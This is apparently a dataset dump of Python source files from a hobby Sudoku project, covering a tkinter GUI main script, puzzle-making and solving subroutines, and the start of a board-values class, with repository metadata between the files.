type=int, dest='makePuzzle', default=gb.makePuzzle) # Make random puzzle with n start\nparser.add_argument('--msymetric', type=str, dest='makePuzzleSym', default=gb.makePuzzleSym) # Make puzzle symetry\nparser.add_argument('--rows', type=int, dest='nRow', default=gb.nRow) # Number of cell row\nparser.add_argument('--run_after_load', type=str2bool, dest='run_after_load', default=gb.run_after_load) # Use preset puzzle\nparser.add_argument('--sSize=f', type=float, dest='sSize', default=gb.sSize) # Solution board size\nparser.add_argument('--traceList=s', type=str, dest='traceList', default=gb.traceList) # Comma separated trace list\nparser.add_argument('--uPuzzle', type=str2bool, dest='UsePuzzle', default=gb.UsePuzzle) # Use preset puzzle\nparser.add_argument('--update_time', type=str2bool, dest='update_time', default=gb.update_time) # Use preset puzzle\nparser.add_argument('--xper=n', type=int, dest='xPer', default=gb.xPer) # Experimental = 1\n\nargs = parser.parse_args() # or raise SelectError(\"Illegal options\")\nSlTrace.lg(f\"args: {args}\")\ngb.nCol = args.nCol\ngb.bSize = args.bSize \ngb.Display_time = args.Display_time\ngb.nFirst = args.nFirst\ngb.nSubCol = args.nSubCol\ngb.makePuzzle = args.makePuzzle\ngb.makePuzzleSym = args.makePuzzleSym\ngb.nRow = args.nRow\ngb.run_after_load = args.run_after_load\ngb.sSize = args.sSize\ngb.traceList = args.traceList\ngb.UsePuzzle = args.UsePuzzle\ngb.xPer = args.xPer\n\n # Update persistent values\ncF.set_val(\"bSize\", gb.bSize) # Main Bd size inches\ncF.set_val(\"sSize\", gb.sSize) # Solution Bd size\ncF.set_val(\"nFirst\", gb.nFirst) # first n solutions\ncF.set_val(\"makePuzzle\", gb.makePuzzle) # If defined, generate puzzle with this many cells filled\ncF.set_val(\"PuzzleSym\", gb.makePuzzleSym) # Puzzle symetry pref for initial settings\n # x, y, center, n - none\ncF.set_val(\"nCol\", gb.nCol)\ncF.set_val(\"nSubCol\", gb.nSubCol)\ncF.set_val(\"nRow\", gb.nRow)\ncF.set_val(\"nSubRow\", gb.nSubRow)\ncF.set_val(\"traceList\", gb.traceList)\ncF.set_val(\"update_time\", gb.update_time)\ncF.set_val(\"UsePuzzle\", gb.UsePuzzle)\ncF.set_val(\"xPer\", gb.xPer) # experimental\ncF.set_val(\"Display_time\", gb.Display_time)\n\n\n\ntrace = True if gb.traceList is not None and gb.traceList != \"\" else False\nif trace:\n SlTrace.setFlags(gb.traceList)\n\nif gb.nSubCol is None:\n nSubCol = int(sqrt(gb.nCol))\nif gb.nRow is None:\n gb.nRow = gb.nCol # Set square by default\nif gb.nSubRow is None:\n nSubRow = int(sqrt(gb.nRow))\nmakePuzzle = int(gb.nCol*gb.nRow/3)\nif gb.makePuzzle % 2 == 1:\n makePuzzle -= 1 # Make even\n \nmw.update()\nbs_in = int(tkMath.inchesToPixels(gb.bSize))\nw = bs_in + 200\nh = bs_in + 100\n\n \ngb.nSol = None # Solution window number\n\ngb.top_fr = Frame(mw)\ngb.top_fr.pack(side = 'top')\ncontrol_fr = Frame(gb.top_fr)\ncontrol_fr.pack(side = 'top')\napp = SelectWindow(gb.Display_mw,\n title=\"Playing Sudoku\",\n arrange_selection=False,\n pgmExit=prime_exit,\n file_open = file_open,\n )\napp.add_menu_command(\"Puzzle\", file_open) # Dedicated puzzle menu item\napp.add_menu_command(\"Contols\", set_controls) # Display variable controls\nmw.geometry(f\"{w}x{h}\")\nmw.update()\n\nsolve_puzzle = Button(control_fr, \n text = \"Solve Puzzle\", # Guess all remaining\n command = solve_main_puzzle,\n )\nsolve_puzzle.pack(side = 'left')\n\nmake_puzzle_b = Button(control_fr, \n text = \"Make Puzzle\",\n command = make_puzzle,\n )\nmake_puzzle_b.pack(side = 'left')\n\nreset_b = Button(control_fr, \n text = \"Reset\", # Reset to initial setting\n command = reset_board\n )\nreset_b.pack(side = 'left')\n\nclear_b = Button(control_fr, \n text = \"Clear Board\",\n command = clear_board,\n )\nclear_b.pack(side = 'left')\n\n\n\n\n\nsbox_fr = None # Set value frame\nsbox = None # selection box\nsbox_row = None # selected cell row\nsbox_col = None\nsbox_legal_vals = [] # legal vals in selection box \n\ngb.o_data = None # Primary data\ngb.o_board = None # Primary board\nInitial_data = None # Initial data values\n\n# setup initial position\nif gb.UsePuzzle:\n use_puzzle() # Use premade puzzle\nelse:\n sols = make_puzzle(gb.makePuzzle)\n\n\n # Display progress during puzzle solution\n \nmw.mainloop()\n\n" }, { "alpha_fraction": 0.5198471546173096, "alphanum_fraction": 0.5275923609733582, "avg_line_length": 27.913108825683594, "blob_id": "6bf88ab6ef1a7b4b2a28ce038ecda20dc8468795", "content_id": "9ee62e62c2d45c76eeb4e54ca2abf08d2abca6bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19625, "license_type": "no_license", "max_line_length": 189, "num_lines": 656, "path": "/puzzle/sudoku_subs.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoku_subs.py\r\n# Top level subs for sudoku.py\r\n# imported to workaround the lack of forward referencing subroutines\r\nimport sys\r\nimport os\r\nfrom tkinter import filedialog\r\nfrom tkinter import *\r\nimport time\r\nimport argparse\r\nfrom math import *\r\nfrom select_trace import SlTrace\r\nfrom select_error import SelectError\r\nfrom resource_group import ResourceEntry\r\nfrom select_control import SelectControl\r\nfrom variable_control import VariableControl\r\n\r\nimport sudoku_globals as g\r\nfrom SudokuData import SudokuData, CellDesc\r\nfrom sudoku_vals import SudokuVals\r\nfrom SudokuPuzzle import SudokuPuzzle\r\nfrom SudokuBoard import SudokuBoard\r\nfrom SudokuPly import SudokuPly\r\nfrom sudoku_puzzle_load import SudokuPuzzleLoad\r\nfrom sudoku_search_stop import SudokuSearchStop\r\n\r\n\r\n\r\ndef helpstr():\r\n retstr = f\"\"\"\r\n --cols number_of_cols Default: {g.nCol}\r\n --bSize bd size in inches Default: {g.bSize}\r\n --dispalyTime sec between display, 0 - wait till user ACK\r\n --first number_of_solutions, stop when we have this many Default: {g.nFirst}\r\n --makePuzzle starting_cells, make puzzle with this many filled cells\r\n --gcols number_of_cells_in_group Default: {g.nSubCol}\r\n --grows number_of_cells_in_group Default: {g.nrowGroup}\r\n --rows number_of_rows Default: {g.nRow}\r\n --sSize solution bd size inches Default: {g.sSize}\r\n --traceList comma_separated_trace_options Default: {g.traceList}\r\n --uPuzzle - use preformed puzzle\r\n --xperimental experimental version Default: {g.xPer}\r\n \"\"\"\r\n\r\ndef str2bool(v):\r\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\r\n return True\r\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\r\n return False\r\n else:\r\n raise argparse.ArgumentTypeError('Boolean value expected.')\r\n\r\ndef update():\r\n \"\"\" do any window updating required\r\n \"\"\"\r\n if not g.running:\r\n return\r\n \r\n if not SlTrace.runningJob:\r\n return\r\n \r\n if g.Display_mw is not None:\r\n g.Display_mw.update() \r\n\r\ndef pgm_exit():\r\n SlTrace.lg(\"Quitting Sudoku Playing\")\r\n # Trace and Log files save by SlTrace onexit\r\n ###SlTrace.lg(\"Properties File: %s\"% SlTrace.getPropPath())\r\n ###SlTrace.lg(\"Log File: %s\"% SlTrace.getLogPath())\r\n g.running = False\r\n g.res_group.destroy_all()\r\n g.Display_mw.destroy()\r\n g.Display_mw = None\r\n SlTrace.onexit() # Force saving\r\n sys.exit(0)\r\n\r\ndef set_controls():\r\n cF = SelectControl() # Ref to singleton\r\n if g.vC is not None:\r\n g.vC.destroy()\r\n g.vC = None\r\n g.vC = VariableControl(var_ctl=cF)\r\n\r\n\r\ndef set_puzzle(puzzle, file_name=None):\r\n \"\"\" Set/Reset main puzzle\r\n :puzzle: Puzzle to setup\r\n \"\"\"\r\n if file_name is not None:\r\n puzzle.file_name = file_name # override if desired\r\n if g.main_puzzle is not None:\r\n g.main_puzzle.destroy()\r\n g.main_puzzle = None\r\n if g.o_board is not None:\r\n g.o_board.destroy()\r\n g.main_puzzle = SudokuData.data2vals(puzzle)\r\n g.puzzle = puzzle\r\n g.o_board = SudokuBoard(mw=g.Display_mw,\r\n frame=new_main_bd_frame(),\r\n data=puzzle,\r\n bdWidth=g.bSize,\r\n bdHeight=g.bSize)\r\n \r\n g.o_board.showData(force=True)\r\n cF = SelectControl()\r\n cF.set_val(\"nRow\", g.main_puzzle.nRow)\r\n cF.set_val(\"nSubRow\", g.main_puzzle.nSubRow)\r\n cF.set_val(\"nCol\", g.main_puzzle.nCol)\r\n cF.set_val(\"nSubCol\", g.main_puzzle.nSubCol)\r\n cF.update_settings()#\r\n \r\ndef use_puzzle(puzzle=None):\r\n \"\"\" Use Precreated puzzle\r\n Set reset_data to this\r\n # Pattern\r\n Default: PZ1\r\n n x n lines\r\n - or numeric contents\r\n \"\"\"\r\n ###global g.o_data, g.nCol, g.nSubCol, g.nRow, g.nrowGroup, g.o_board, g.Initial_data, g.nRow, g.nCol\r\n \r\n# Test puzzles \r\n PZ1 = \"\"\"\r\n - 2 - -\r\n 1 4 - -\r\n - - 3 2\r\n - - 1 -\r\n \"\"\"\r\n \r\n PZ2 = \"\"\"\r\n 3 2 4 1\r\n 1 4 2 3\r\n 4 1 3 2\r\n 2 3 1 4\r\n \"\"\"\r\n \r\n PZ3 = \"\"\"\r\n - 2 4 1\r\n 1 4 2 3\r\n 4 1 3 2\r\n 2 3 1 4\r\n \"\"\"\r\n \r\n PZ4 = \"\"\"\r\n - - 4 1\r\n 1 4 2 3\r\n 4 1 3 2\r\n 2 3 1 4\r\n \"\"\"\r\n \r\n \r\n if puzzle is None:\r\n puzzle = PZ1\r\n puzzle = PZ2\r\n puzzle = PZ3\r\n puzzle = PZ4\r\n puzzle = PZ1\r\n nrow = 0\r\n ncol = 0\r\n rowcols = [] # array of rows of cols\r\n lines = puzzle.split(\"\\n\")\r\n lineno = 0\r\n for line in lines:\r\n lineno += 1\r\n m = re.match(r'^([^#]*)#', line) # Remove comments\r\n if m:\r\n line = m.group(1)\r\n m = re.match(r'^\\s+(.*)$', line)\r\n if m:\r\n line = m.group(1)\r\n m = re.match(r'^(.*)\\s+$', line)\r\n if m:\r\n line = m.group(1)\r\n if re.match(r'^\\s*$', line): # Ignore blank lines\r\n continue\r\n \r\n nrow += 1\r\n cs = line.split()\r\n if ncol > 0 and len(cs) < ncol:\r\n raise SelectError(\"cols not identical in line: lineno\")\r\n\r\n if len(cs) > ncol:\r\n ncol = len(cs) \r\n rowcols.append(cs)\r\n\r\n if ncol != nrow:\r\n raise SelectError(f\"number of cols{ncol} != number of rows{nrow}\")\r\n g.nRow = nrow\r\n g.nCol = ncol\r\n g.nSubCol = int(sqrt(g.nCol))\r\n g.nSubRow = int(sqrt(g.nRow))\r\n \r\n puzzle = SudokuPuzzle(rows=nrow, cols=ncol, grows=g.nSubRow, gcols=g.nSubCol,\r\n desc=\"Internal Puzzle\")\r\n for ri in range(nrow):\r\n row = ri+1\r\n for ci in range(ncol):\r\n col = ci+1\r\n val = rowcols[ri][ci]\r\n if val == '-':\r\n continue # Empty cell\r\n \r\n puzzle.add_cell(row=row, col=col, val=int(val))\r\n set_puzzle(puzzle)\r\n\r\n\r\n\r\n# Clear to an empty board\r\ndef clear_board():\r\n g.o_data.clear()\r\n g.o_board.showData(g.o_data)\r\n\r\n\r\n\r\n# Close move display window\r\ndef search_stop():\r\n ###global Display_mw\r\n '''\r\n if Display_mw is not None:\r\n Display_mw.destroy()\r\n '''\r\n SlTrace.lg(\"search_stop\")\r\n SudokuPly.stop_search()\r\n g.res_group.destroy_all()\r\n\r\n\r\ndisplay_prev_time = None\r\ndisplay_no = 0\r\ndef display_rtn(data):\r\n \"\"\" Progress display routing\r\n \"\"\"\r\n global display_prev_time\r\n global display_no\r\n \r\n if not g.running:\r\n return\r\n \r\n display_no += 1\r\n ###g.main_puzzle.display(\"display_rtn: main_puzzle\")\r\n display_time = g.Display_time\r\n if display_time is None:\r\n return\r\n \r\n now = time.time()\r\n new_board = False\r\n searching_board = g.res_group.get_obj(\"searching_board\")\r\n if searching_board is None:\r\n solution_search_display_setup()\r\n new_board = True\r\n searching_board = g.res_group.get_obj(\"searching_board\")\r\n \r\n if display_prev_time is None:\r\n display_prev_time = now\r\n g.Display_mw.after(int(1000*display_time))\r\n dur = now - g.solve_start\r\n if now - display_prev_time > g.update_time:\r\n SlTrace.lg(f\"display_rtn time:{dur:.3f}\")\r\n display_prev_time = now\r\n if searching_board is not None:\r\n searching_board.showData(data, force=new_board)\r\n if SlTrace.trace(\"display_board\"):\r\n searching_board.display(f\"display:{display_no}\")\r\n\r\n\r\n# Setup move display\r\ndef solution_search_display_setup():\r\n\r\n title = \"Solution Searching\"\r\n SudokuPly.setDisplay(display_rtn, g.Display_time)\r\n\r\n searching_mw = Toplevel()\r\n searching_mw.protocol(\"WM_DELETE_WINDOW\", search_stop)\r\n searching_mw.title(title)\r\n x = 400\r\n y = 600\r\n searching_mw.geometry(f\"+{x}+{y}\")\r\n \r\n top_fr = Frame(searching_mw)\r\n top_fr.pack(side = 'top')\r\n c1 = Button(top_fr, \r\n text = \"Close\", # Guess one\r\n command = search_stop,\r\n )\r\n c1.pack(side = 'left')\r\n if g.res_group.get(\"searching_board\") is not None:\r\n g.res_group.destroy(\"searching_board\")\r\n data = SudokuData.vals2data(g.main_puzzle) \r\n searching_board = SudokuBoard(mw=searching_mw,\r\n data = data,\r\n bdWidth=g.sSize*.8,\r\n bdHeight=g.sSize*.8,\r\n initialData=g.Initial_data,\r\n )\r\n searching_board.showData(force=True)\r\n g.res_group.add(ResourceEntry(searching_board), name=\"searching_board\")\r\n \r\ndef file_open():\r\n \"\"\" Choose puzzle file\r\n \"\"\"\r\n start_dir = r\"./puzzle\"\r\n filename = filedialog.askopenfilename(\r\n initialdir = start_dir,\r\n title = \"Select puzzle file\",\r\n filetypes = ((\"supz files\",\"*.supz\"),(\"all files\",\"*.*\")))\r\n spl = SudokuPuzzleLoad.set_input(pfile=filename)\r\n SlTrace.lg(f\"Puzzle file name:{filename}\")\r\n puzzle = spl.procCmdString()\r\n set_puzzle(puzzle, file_name=filename)\r\n puzzle.display(\"Puzzle Start\")\r\n\r\n\r\n# Create puzzle with number of cells filled in\r\n# Set initial_data to this\r\n\r\ndef make_puzzle(nfilled=None):\r\n \"\"\" Create puzzle with number of cells filled in\r\n Set reset_data to this\r\n :nfilled: Number of cells filled in, None = random\r\n \"\"\"\r\n ###global o_data, o_board\r\n \r\n display_close()\r\n if (g.o_data is None):\r\n g.o_data = SudokuData(cols=g.nCol,\r\n rows=g.nRow,\r\n gcols=g.nSubCol,\r\n grows=g.nSubRow,\r\n )\r\n\r\n g.o_data.clear() # Clear data\r\n\r\n if g.o_board is None:\r\n g.o_board = SudokuBoard(mw=g.mw,\r\n frame=new_main_bd_frame(),\r\n data=g.o_data,\r\n bdWidth=g.bSize,\r\n bdHeight=g.bSize)\r\n \r\n \r\n\r\n\r\n ncell = g.nRow*g.nCol\r\n if (nfilled is None):\r\n nfilled = int(ncell/3)\r\n if nfilled & 1 != 0 and ncell & 1 != 0:\r\n nfilled -= 1 # No possible symitry\r\n # with odd # and even row/col\r\n\r\n o_list = SudokuData(base=g.o_data)\r\n a_start_list = o_list.startCells(\r\n nFilled=nfilled, \r\n symRules=g.makePuzzleSym)\r\n if (a_start_list is None):\r\n SlTrace.lg(f\"no such pattern for nRow=:{g.nRow}, nCol=:{g.nCol}\"\r\n + f\" nFilled={nfilled} symRules={g.makePuzzleSym}\")\r\n sys.exit(\"quitting\")\r\n # Display start list\r\n sl = SudokuData(rows=g.nRow, grows=g.nSubRow, cols=g.nCol, gcols=g.nSubCol) # for diagnostic display\r\n SlTrace.lg(f\"start list: \")\r\n n = 0\r\n for sc in a_start_list:\r\n val = n\r\n if (n <= ord('Z')-ord('A')):\r\n val = chr(ord('A')+n)\r\n elif (n < 2*(ord('Z')-ord('A'))):\r\n val_ord = ord('a')+n-((ord('Z')-ord('A')-1))\r\n val = chr(val_ord)\r\n\r\n sl.setCellVal(sc.row, sc.col,\r\n val)\r\n SlTrace.lg(f\" (r:{sc.row}, c:{sc.col})\")\r\n n += 1\r\n\r\n sl.display()\r\n \r\n if (len(a_start_list) != nfilled):\r\n SlTrace.lg(f\"Actual list = {len(a_start_list)}\"\r\n + f\" Requested list = {nfilled}\")\r\n\r\n # Set starting arrangement\r\n o_sol = SudokuPly(base=g.o_data)\r\n sols = o_sol.makePuzzle(\r\n startList=a_start_list)\r\n if sols is not None and len(sols) == 1 and defined(sols[0]):\r\n sol = sols[0]\r\n g.o_data = sol.getData(subset=a_start_list)\r\n g.o_board.showData(g.o_data)\r\n g.Initial_data = SudokuData(base=g.o_data)\r\n\r\n return sols\r\n\r\nmain_bd_fr = None # Set if present\r\ndef new_main_bd_frame():\r\n \"\"\" Create a new main board frame\r\n Deleat old frame if present\r\n \"\"\"\r\n global main_bd_fr\r\n \r\n if main_bd_fr is not None:\r\n main_bd_fr.destroy()\r\n main_bd_fr = Frame(g.top_fr)\r\n main_bd_fr.pack(side = 'bottom')\r\n return main_bd_fr\r\n\r\n \r\n# Adjust puzzle to a unique puzzle\r\n# Generally by adding starting filled cells\r\ndef adj_puzzle_uniq(sols, nfilled): # Returns: puzzle solution Ply\r\n sol = sols[0]\r\n val_max = g.nRow\r\n if g.nCol > val_max:\r\n val_max = nCol \r\n SlTrace.lg(f\"adj_puzzle_uniq\\n\")\r\n sol_data = sol.getData()\r\n for i in range(nfilled):\r\n nr = int(rand(nRow)+1)\r\n nc = int(rand(nCol)+1)\r\n g.o_data.curCell(row=nr, col=nc)\r\n r_c = None\r\n ntry = 0\r\n # Space values randomly\r\n min_choice = 2 # Attempting to leave multiple choices\r\n tmc = val_max # Only look so much\r\n legalvals = [] # choices for candidate cell\r\n while True:\r\n for i1 in range(rand(val_max)+1):\r\n r_c = o_data.getNextEmpty()\r\n \r\n if r_c is not None:\r\n break # No more empty\r\n \r\n legalvals = g.o_data.getLegalVals(r_c['row'],\r\n r_c['col'])\r\n tmc -= 1\r\n if tmc <= 0 or len(legalvals) >= min_choice:\r\n break\r\n \r\n if (r_c is None):\r\n SlTrace.lg(f\"Can't find room for puzzle\")\r\n break\r\n \r\n nr = r_c['row']\r\n nc = r_c['col']\r\n g.o_data.setCellVal(nr, nc, sol_data.getCellVal(nr, nc))\r\n \r\n \r\n sol = uniq_sol(g.o_data) # Make unique\r\n return sol\r\n\r\n\r\n\r\n# Reset to initial board\r\ndef reset_board():\r\n g.o_data = SudokuData(base=g.Initial_data)\r\n g.o_board.showData(g.o_data)\r\n\r\n\r\n\r\n# Setup move display\r\ndef set_move_display(display_time):\r\n ###global Display_time\r\n \r\n g.Display_time = display_time\r\n\r\n\r\n\r\n\r\n# OK to selection\r\ndef set_selected_ok():\r\n selecteds = g.sbox.curselection()\r\n si = selecteds[0]\r\n if si is None:\r\n set_selected_delete()\r\n return\r\n \r\n \r\n selected_val = g.sbox_legal_vals[si]\r\n g.o_data.setCellVal(g.sbox_row, g.sbox_col, selected_val)\r\n g.o_board.showData()\r\n set_selected_delete()\r\n\r\n\r\n\r\n# CANCEL to selection\r\ndef set_selected_cancel():\r\n set_selected_delete()\r\n\r\n\r\n\r\n# Remove set_selected\r\ndef set_selected_delete():\r\n sbox_fr.destroy() \r\n if exists(sbox_fr):\r\n sbox = None\r\n\r\ndef clear_solve_main_puzzle():\r\n g.res_group.destroy_all()\r\n SudokuPly.setDisplay(None)\r\n\r\ndef update_report(ctl=None):\r\n \"\"\" Report control variable (cF) update\r\n ctl: control reference for convenience\r\n \"\"\"\r\n g.update_control_variables()\r\n \r\n \r\n\r\n# Solve Puzzle \r\ndef solve_main_puzzle():\r\n g.solve_start = time.time() # Puzzle start time\r\n g.main_puzzle.display(\"solve_main_puzzle before destroy_all: main_puzzle\")\r\n g.res_group.destroy_all() # Clearout result displays\r\n solutions = [] # Puzzle solution(s)\r\n g.main_puzzle.display(\"solve_main_puzzle: main_puzzle\")\r\n solution_search_display_setup()\r\n Initial_data = g.main_puzzle # Record initial data\r\n SudokuPly.clear_search_stop()\r\n try:\r\n data = SudokuData.vals2data(g.main_puzzle)\r\n solutions = solve_puzzle(data=data)\r\n puzzle_file_name = g.puzzle.file_name\r\n dur = time.time() - g.solve_start\r\n sol_time = f\"in {dur:.2f} sec\"\r\n if puzzle_file_name is None:\r\n puzzle_file_name = \"\"\r\n else:\r\n puzzle_file_name = os.path.basename(puzzle_file_name)\r\n if len(solutions) == 0:\r\n SlTrace.lg(f\"No solution to puzzle {sol_time} {puzzle_file_name}\")\r\n else:\r\n nsol = len(solutions)\r\n SlTrace.lg(f\"Puzzle solved - {nsol} solution{'' if nsol == 1 else 's'}\"\r\n + f\" {sol_time} {puzzle_file_name}\"\r\n )\r\n nth = 0\r\n for r_solution in solutions:\r\n nth += 1\r\n r_solution.display(f\"Solution {nth} of {nsol} {puzzle_file_name}\")\r\n solve_main_puzzle_display(r_solution,\r\n f\"Solution {nth} of {nsol}\",\r\n nth,\r\n nsol)\r\n except SudokuSearchStop:\r\n SlTrace.lg(\"SudokuSearchStop\")\r\n clear_solve_main_puzzle()\r\n g.res_group.destroy_all()\r\n SudokuPly.setDisplay(None)\r\n\r\n#\r\ndef solve_main_puzzle_display(r_solution, title=None, nth=None, nsol=None):\r\n \"\"\" Add solution display\r\n :r_position of solution:\r\n :nth: ord positionof solution\r\n :nsol: Number of solutions\r\n \"\"\"\r\n\r\n if title is not None:\r\n title = \"Solution\" \r\n if nsol is not None:\r\n nsol = 1 \r\n \r\n mw = Toplevel()\r\n mw.protocol(\"WM_DELETE_WINDOW\", search_stop)\r\n mw.title(title)\r\n x = 400\r\n y = 200\r\n x += 100*nth\r\n y += 100*nth\r\n mw.geometry(f\"+{x}+{y}\")\r\n # Find first empty slot, extending if necessary\r\n top_fr = Frame(mw)\r\n top_fr.pack(side = 'top')\r\n c1 = Button(top_fr, \r\n text = \"Close\", # Guess one\r\n command = [solve_puzzle_close, nth],\r\n )\r\n c1.pack(side = 'left')\r\n if nsol > 1:\r\n c2 = Button(top_fr, \r\n text = \"Close All\", # Close all\r\n command = solve_puzzle_close_all,\r\n )\r\n c2.pack(side = 'left')\r\n \r\n \r\n board = SudokuBoard(mw=mw,\r\n data=r_solution,\r\n bdWidth=g.sSize,\r\n bdHeight=g.sSize,\r\n initialData=g.Initial_data,\r\n )\r\n g.res_group.add(ResourceEntry(mw), number=nth)\r\n board.showData(force=True)\r\n\r\n\r\n\r\n# Close solution window\r\ndef solve_puzzle_close(si):\r\n mw = g.mws[si]\r\n if mw is not None:\r\n if exists(mw):\r\n mw.destroy() \r\n g.mws[si] = None\r\n\r\n\r\n# Close all solution windows\r\ndef solve_puzzle_close_all():\r\n g.res_group.destroy_all()\r\n\r\n\r\ndef solve_puzzle(data=None): # Returns: ref to solution, else None\r\n r_data = data\r\n if r_data is None:\r\n raise SelectError(\"solve_uzzle: data missing\") \r\n \r\n solve_puzzle_close_all()\r\n s_ply = SudokuPly(base=r_data)\r\n return s_ply.solveChoice(first=g.nFirst)\r\n\r\n\r\n\r\n#\r\ndef uniq_sol(r_data): # \r\n \"\"\" Return a puzzle with a unique solution\r\n :returns: SudokuPly with one solution, else None\r\n \"\"\"\r\n ### return r_sols[0] #### STUB\r\n s_ply = SudokuPly(base=g.o_data)\r\n sols = s_ply.solveChoice(first=g.nRow)\r\n while (len(sols) > 1):\r\n squares = []\r\n for ri in range(g.nRow):\r\n row = ri + 1\r\n for ci in range(g.nCol):\r\n col = ci + 1\r\n if not r_data.isEmptyCell(row, col):\r\n continue \r\n \r\n valh = {}\r\n for r_sol in sols:\r\n val = r_sol.getCellVal(row, col)\r\n if r_data.isEmpty(row, col):\r\n SlTrace.lg(f\"Empty sol row={row}, col={col}\")\r\n continue\r\n valh[val] = 1\r\n vals = valh.keys()\r\n nval = len(vals) # Number of different values\r\n if nval > 1:\r\n squares.append(CellDesc(nval=nval, row=row, col=col, vals=vals))\r\n \r\n squares.sort(key=lambda cell: cell.nval)\r\n r_nc = squares[0] # With most values\r\n r_data.setCellVal(r_nc['row'], r_nc-['col'], r_nc['vals'][0])\r\n s_ply = SudokuPly(base=g.o_data)\r\n sols = s_ply.solveChoice(first=nRow)\r\n\r\n return sols[0] # stub - just return first if any\r\n\r\n" }, { "alpha_fraction": 0.4984256327152252, "alphanum_fraction": 0.5038015246391296, "avg_line_length": 33.16535568237305, "blob_id": "927928826d9c5fcbc101a0d6881f124b5ad8872b", "content_id": "15828df357fed7fd83681b3dcd392753fbe6ab7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13021, "license_type": "no_license", "max_line_length": 116, "num_lines": 381, "path": "/puzzle/sudoku_vals.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "#sudoku_vals.py\n# Adapted from SudokuData.pm with just values\n#################\n## sudokuVals ##\n#################\n\n\nfrom select_trace import SlTrace\nfrom select_error import SelectError\n\nEMPTY = 0 # Empty cell def \n\n\nclass CellDesc:\n \"\"\" Cell description\n \"\"\"\n def __init__(self, row=None, col=None,\n val=None, vals=[], valId=None):\n \"\"\" Cell description row,col, optionally value\n \"\"\"\n self.row = row\n self.col = col\n self.val = val\n self.vals = vals\n self.valId = valId\n x1 = x2 = y1 = y2 = None\n \n def copy(self):\n \"\"\" Copy info\n :Returns: deep copy\n \"\"\"\n cp = CellDesc(row=self.row, col=self.col, val=self.val,\n vals=self.vals[:], valId=self.valId)\n return cp\n\nclass ValueChoice:\n \"\"\" Attributes of a selection choice\n \"\"\"\n def __init__(self, vals=None, row=None, col=None, nval=None):\n self.vals = vals\n self.row = row\n self.col = col\n self.nval = nval\n \n def __repr__(self):\n repr_str = \"ValueChoice\"\n repr_str += f\" row={self.row} col={self.col} nval={self.nval}\"\n if self.vals is not None and len(self.vals) > 0:\n vals_strs = list(map(str, self.vals))\n repr_str += f\" vals=[{'<'.join(vals_strs)}]\"\n return repr_str\n\n\n\nclass SudokuVals:\n EMPTY = 0\n\n def __init__(self, rows=None, cols=None, grows=None, gcols=None, \n base = None):\n \"\"\"\n :rows: number of rows down the whole board\n :cols: number of cols accross the whole board\n :grows: group numbers for conversions to \n :gcols: group numbers\n \"\"\"\n if rows is None:\n if base is None:\n raise SelectError(\"Neither base nor rows was specified\")\n \n rows = base.nRow\n grows = base.nSubRow\n self.nRow = rows\n self.nSubRow = grows\n if cols is None:\n if base is None:\n raise SelectError(\"Neither base nor cols was specified\")\n \n cols = base.nCol\n gcols = base.nSubCol\n self.nCol = cols\n self.nSubCol = gcols\n self.vals = [[EMPTY for ci in range(self.nCol)] for ri in range(self.nRow)]\n if base is not None:\n for ir in range(base.nRow):\n for ic in range(base.nCol):\n self.vals[ir][ic] = base.vals[ir][ic]\n\n # Clear data to empty\n def clear(self):\n for ir in range(self.nRow):\n for ic in range(self.nCol):\n self.clearCell(row=ir+1, col=ic+1)\n \n # Clear sell\n def clearCell(self, row=None, col=None):\n self.setCellVal(self, row=row, col=col, val=EMPTY)\n \n def copy(self): # Returns: deep copy\n copy = SudokuVals(base=self)\n return copy\n \n # Get cell info\n def getCell(self, row, col): # Returns: data cell\n val = self.getCellVal(row=row, col=col)\n cell = CellDesc(row=row, col=col, val=val)\n return cell\n\n def getCellVal(self, row=None, col=None):\n \"\"\" get cell Value\n :row: row number\n :col: col number\n \"\"\"\n if row < 1 or row > self.nRow:\n raise SelectError(f\"bad row({row}) value should be 1-{self.nRos}\")\n \n if col < 1 or col > self.nCol:\n raise SelectError(f\"bad row({row}) value should be 1-{self.nRos}\")\n \n return self.vals[row-1][col-1]\n\n def setCell(self, row=None, col=None, val=None):\n \"\"\" set cell Value\n :row: row number\n :col: col number\n :val: cell value default: None\n \"\"\"\n self.setCellVal(row=row, col=col, val=val)\n return CellDesc(row=row, col=col, val=val)\n \n def setCellVal(self, row=None, col=None, val=None):\n \"\"\" set cell Value\n :row: row number\n :col: col number\n :val: cell value default: None\n \"\"\"\n if row < 1 or row > self.nRow:\n raise SelectError(f\"bad row({row}) value should be 1-{self.nRos}\")\n \n if col < 1 or col > self.nCol:\n raise SelectError(f\"bad row({row}) value should be 1-{self.nRos}\")\n if SlTrace.trace(\"setCell\"):\n SlTrace.lg(f\"setCellVal row={row} col={col} val={val}\")\n self.vals[row-1][col-1] = val\n\n # Check if empty\n # any non-zero numeric is filled \n def isEmpty(self, val=None): # Returns: True iff empty value\n if val is None or val == \"0\" or val == 0:\n return True\n \n return False\n \n # Is cell empty\n def isEmptyCell(self, row, col): # Returns: True iff empty cell\n val = self.getCellVal(row, col)\n return self.isEmpty(val)\n\n def destroy(self):\n \"\"\" Release any resources, cleanup display\n \"\"\"\n pass # Nothing for now\n \n # Simple display of data area\n # For diagnostic purposes\n def display(self, msg=None):\n display_str = \"\"\n if msg is None:\n msg = \"Data Display\"\n display_str += f\"{msg}\\n\"\n if self.vals is None:\n raise SelectError(\"data gone\")\n\n horiz_grp_divider = \" \" + \"-\" * (2*self.nCol+self.nSubCol-1) + \"\\n\" \n for nr in range(1, self.nRow+1):\n if nr % self.nSubRow == 1:\n display_str += horiz_grp_divider\n for nc in range(1, self.nCol+1):\n if nc == 1:\n display_str +=\"|\"\n val = self.getCellVal(row=nr, col=nc)\n disp = \" \" if self.isEmpty(val) else f\"{val} \"\n display_str += disp\n if nc % self.nSubCol == 0:\n display_str += \"|\"\n display_str += \"\\n\"\n display_str += horiz_grp_divider\n SlTrace.lg(display_str)\n \n # Assemble list of next move choices\n # sorted in ascending number of values per cell\n def getChoices(self): # Returns: ref to sorted array of choices\n cells = [] # Array of open cell cells\n # to be ordered in increasing\n # number of values\n for ri in range(self.nRow):\n row = ri + 1\n for ci in range(self.nCol):\n col = ci + 1\n if 